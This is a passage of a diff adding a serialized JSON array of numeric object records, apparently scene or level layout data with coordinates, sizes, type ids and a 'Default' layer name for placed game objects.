+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4937,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4939,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4940,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675,
+ 894,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4941,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583,
+ 894,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4942,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491,
+ 894,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4943,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4944,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4993,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4995,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4996,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4997,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5005,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.743774414063,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5006,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.536743164063,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5007,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.680053710938,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5008,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.473022460938,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5009,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.6103515625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5015,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.4033203125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5016,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5017,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5018,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1500.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5019,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5020,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5021,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5025,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.536743164063,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5026,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.473022460938,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5027,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.4033203125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5028,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2287,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5029,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2378.51708984375,
+ 647.8544311523438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5030,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2470.611083984375,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5031,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2562.128173828125,
+ 647.8544311523438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5035,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 362,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5036,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 457,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5037,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 553,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 5038,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 5040,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 212.521728515625,
+ 799.6751098632812,
+ 0,
+ 464.754150390625,
+ 277.7109375,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5041,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 499.7438354492188,
+ 831.5453491210938,
+ 0,
+ 442,
+ 150,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5047,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2424.481201171875,
+ 649.6231079101562,
+ 0,
+ 367.4649963378906,
+ 90.43286895751953,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5049,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2649.818115234375,
+ 468.0309448242188,
+ 0,
+ 78,
+ 452,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5050,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400,
+ 612,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5053,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583.24755859375,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5054,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491.2475280761719,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5055,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399.2475280761719,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5056,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306.602783203125,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5057,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214.6027526855469,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5058,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122.6027526855469,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5059,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675.0010375976562,
+ 989.2953491210938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5060,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122.2538146972656,
+ 893.6946411132812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5061,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 30.00251007080078,
+ 989.642578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5062,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 29.65357208251953,
+ 893.9268188476562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5089,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.149169921875,
+ 362.0175170898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5090,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2930.9375,
+ 362.0175170898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5091,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2916,
+ 307,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5092,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2947,
+ 307,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5093,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 457,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 5109,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 553,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 5138,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 5139,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2839.650634765625,
+ 552.757568359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 5140,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2931.4130859375,
+ 552.7579956054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 5146,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2839.028564453125,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 5147,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2931.546630859375,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 5149,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3022.357177734375,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5150,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.290771484375,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5634,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.79052734375,
+ 743.5631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 5635,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.931640625,
+ 552.7579956054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 5636,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3022.547119140625,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 5637,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115.065185546875,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 5638,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3008.56591796875,
+ 584.9849853515625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5639,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3039.56591796875,
+ 584.9849853515625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5640,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3205.986328125,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5641,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3297.919921875,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 5642,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.491943359375,
+ 552.7693481445312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 5643,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.62548828125,
+ 648.0113525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 5644,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.85546875,
+ 458.3495483398438,
+ 0,
+ 95.91248321533203,
+ 98.14300537109375,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5645,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.727783203125,
+ 839.0726928710938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 5662,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3207.01123046875,
+ 838.983154296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 5663,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3298.92626953125,
+ 839.0726928710938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 5998,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3391.209716796875,
+ 838.983154296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 5999,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3623.061767578125,
+ 701.0221557617188,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6000,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3282.607666015625,
+ 306.33251953125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6005,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3313.607666015625,
+ 306.33251953125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6006,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6106,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6113,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3910,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6232,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4002,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6285,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4094,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6286,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4186,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6287,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4277,
+ 701,
+ 0,
+ 96,
